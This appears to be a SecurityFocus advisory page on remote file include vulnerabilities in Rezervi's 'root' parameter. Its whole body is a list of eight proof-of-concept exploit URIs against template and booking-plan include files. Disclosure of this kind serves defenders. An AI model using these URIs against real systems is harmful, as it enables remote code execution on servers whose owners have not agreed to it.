Rezervi Root Parameter Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/templates/datumVonDatumBis.inc.php?root=Shell
http://www.example.com/templates/footer.inc.php?root=Shell
http://www.example.com/templates/header.inc.php?root=Shell
http://www.example.com/templates/stylesheets.php?root=Shell
http://www.example.com/belegungsplan/wochenuebersicht.inc.php?root=Shell
http://www.example.com/belegungsplan/monatsuebersicht.inc.php?root=Shell
http://www.example.com/belegungsplan/jahresuebersicht.inc.php?root=Shell
http://www.example.com/belegungsplan/tagesuebersicht.inc.php?root=Shell


 

Privacy Statement
Copyright 2010, SecurityFocus